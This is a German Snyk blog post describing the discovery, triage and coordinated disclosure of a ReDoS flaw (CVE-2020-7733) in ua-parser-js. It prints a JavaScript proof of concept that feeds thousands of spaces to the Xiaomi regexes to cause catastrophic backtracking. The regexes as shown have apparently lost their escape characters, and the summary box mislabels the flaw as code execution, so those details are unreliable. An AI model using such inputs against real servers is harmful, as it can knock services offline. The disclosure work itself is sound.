Skip to main content

Regular-Expression-Denial-of-Service (REDoS) in UAParser.js

Artikel von
Blog illustrations vul profile feature

26. Oktober 2020

0 Min. Lesezeit

Willkommen beim Snyk Monthly Vulnerability Profile. In dieser Reihe blickt Snyk auf Schwachstellen zurück, die von unseremSecurity Research Teamentdeckt oder an dieses gemeldet wurden. Wir wählen jeden Monat eine bemerkenswerte Schwachstelle aus und erzählen die Geschichte ihrer Entdeckung, Erforschung und Offenlegung. Dabei stellen wir die Forschenden, Entwickler und Nutzer vor, die dazu beitragen, Schwachstellen in der Open-Source-Community zu identifizieren und zu beheben.

Diesen Monat befassen wir uns mit einer Regular-Expression-Denial-of-Service-Schwachstelle (REDoS), die im beliebten JavaScript-Paket UAParser entdeckt wurde.


Schwachstelle:Ausführung beliebigen Codes in ua-parser-jsZugewiesene CVEs: CVE-2020-7733Snyk-Analyst:Asaf BitonEntdeckt von:Yeting Li

Das Snyk Research Team untersuchte und veröffentlichte eine Regular-Expression-Denial-of-Service-Schwachstelle (REDoS) im beliebten JavaScript-Paket UAParser, die uns von einem externen Forschenden gemeldet wurde.

Um die Offenlegung von Schwachstellen für Forschende einfacher und effektiver zu gestalten, arbeitet das Team mit Personen zusammen, die uns Schwachstellen melden. Jede Meldung wird untersucht, um festzustellen, ob sich das Problem reproduzieren lässt, ob die Schwachstelle im Kontext des Pakets tatsächlich ein Sicherheitsrisiko darstellt und um schließlich ein vollständiges Bild des Risikos zu erhalten, das von der Schwachstelle für die Open-Source-Community ausgehen könnte.

Die REDoS-Schwachstelle im UAParser-Paket wurde Snyk vom externen Forschenden Yeting Li gemeldet. Werfen wir einen genaueren Blick auf die Details der Schwachstelle, ihre Entdeckung und darauf, wie das Research-Team mit dem Forschenden und dem Paket-Maintainer zusammenarbeitete, um eine verantwortungsvolle Offenlegung und schließlich die Behebung der Schwachstelle sicherzustellen.

Die Details der REDoS-Schwachstelle

UAParser ist ein JavaScript-Paket zur Analyse von User-Agent-Strings, das sowohl client- als auch serverseitig verwendet werden kann. Laut Snyk Advisor hat das Paket UAParser über sechs Millionen Downloads und ist damit sehr beliebt. Die in diesem Fall entdeckte und offengelegte REDoS-Schwachstelle betraf die regulären Ausdrücke, die zur Identifizierung von Browsern auf Xiaomi-Redmi-Telefonen und Mi-Pad-Tablets definiert sind.

In seinem Proof of Concept zeigte Li, dass ein Angreifer einen Zustand namens katastrophales Backtracking auslösen kann, indem er an den User-Agent-String eine lange Folge von Leerzeichen (in seinem Beispiel 5.000) und anschließend ein Ausrufezeichen anhängt. Dadurch kann der Abgleich eines Strings mit einem regulären Ausdruck exponentiell länger als üblich dauern, Ressourcen binden oder sogar zum vollständigen Absturz der Regex-Engine führen. Wird dies gezielt bei der Regex-Verarbeitung in einer serverseitigen Node.js-Anwendung ausgenutzt, kann der Server ausfallen oder auf andere Nutzeranfragen nicht mehr reagieren. Den vollständigen POC sehen Sie unten:

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

Weitere Informationen zu REDoS-Schwachstellen, der Entstehung von katastrophalem Backtracking und dessen Ausnutzung finden Sie in unserem Blogbeitrag hier.

Erforschung von REDoS-Schwachstellen

Yeting Li ist Doktorand am Laboratory of Computer Science des Institute of Software der Chinese Academy of Sciences (ISCAS). Im Rahmen seiner aktuellen Forschung für seine Promotion konzentriert er sich auf Verfahren zur automatisierten Erkennung von Regex-Schwachstellen, die für REDoS-Angriffe anfällig sind. Dafür hat er einen Algorithmus entwickelt, mit dem er Open-Source-Pakete nach solchen Schwachstellen durchsucht.

Das Snyk Research Team hat im vergangenen Jahr bei zahlreichen Offenlegungen mit Herrn Li zusammengearbeitet. Für den Forschenden und das Snyk-Team war es eine gemeinsame Aufgabe, den Prozess so effizient wie möglich zu gestalten. Snyk unterstützte Herrn Li dabei, klare Erwartungen für die Erstellung seiner Meldungen festzulegen, damit diese schnell bearbeitet werden konnten. Für Snyk war eine so große Zahl von Meldungen durch einen einzelnen Forschenden eine besondere Situation. Um beiden Seiten die Zusammenarbeit zu erleichtern, wurde ein privates GitHub-Repository eingerichtet, über das Informationen einfach ausgetauscht werden konnten.

Am 9. September 2020 lud Herr Li seinen Bericht und den POC zu einer von ihm im UAParser-Paket entdeckten REDoS-Schwachstelle hoch. Asaf Biton aus dem Snyk Research Team wurde mit der Untersuchung beauftragt. Anhand des bereitgestellten POC konnte Asaf mit einigen schnellen Anpassungen bestätigen, dass sich die Schwachstelle reproduzieren ließ und im Kontext des Pakets ein Risiko darstellte. Innerhalb einer Stunde hatte Asaf dem Maintainer des Pakets eine E-Mail geschickt, ihn über die Schwachstelle informiert und um Erlaubnis gebeten, eine CVE für sie zu reservieren.

Der Maintainer antwortete innerhalb von 24 Stunden. Er teilte mit, dass er in den kommenden Tagen eine Fehlerbehebung veröffentlichen werde und dass eine CVE veröffentlicht werden könne, sobald die Behebung verfügbar sei. Am 12. September, weniger als 72 Stunden nach der ursprünglichen Meldung, übernahm der Paket-Maintainer eine Fehlerbehebung in das GitHub-Repository und informierte Snyk, dass die neue Version verfügbar war. Snyk veröffentlichte daraufhin CVE-2020-7733 in der CVE-Datenbank und den vollständigen Bericht in der Snyk Vulnerability Database unter der Snyk-ID SNYK-JS-UAPARSERJS-610226.

Code-Diff mit Korrekturen an regulären Ausdrücken in src/u-parser.js; hinzugefügte und entfernte Zeilen sind hervorgehoben

Rückblick

Nach der Veröffentlichung der Schwachstelle in der Snyk-Datenbank stellte sich heraus, dass fast 21.000 von Snyk überwachte Pakete anfällige Versionen enthielten. Dank der gemeinsamen Anstrengungen des Forschenden, des Paket-Maintainers und des Snyk Research Teams konnten die Entwickler, die für diese Pakete im Snyk-System verantwortlich waren – und unzählige weitere, die noch nicht zum Snyk-Ökosystem gehören – über das Problem informiert werden und es problemlos in ihrem Code beheben.

Dies ist ein weiteres hervorragendes Beispiel dafür, wie Snyks Engagement dafür, Entwicklern die sichere Nutzung von Open-Source-Software zu ermöglichen, weit über die Grenzen des Snyk-Tools hinausgeht. Unser Research Team arbeitet weiterhin daran, Schwachstellen zu identifizieren und offenzulegen – durch eigene Arbeit und in Zusammenarbeit mit anderen Forschenden aus der Sicherheits- und Open-Source-Community.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.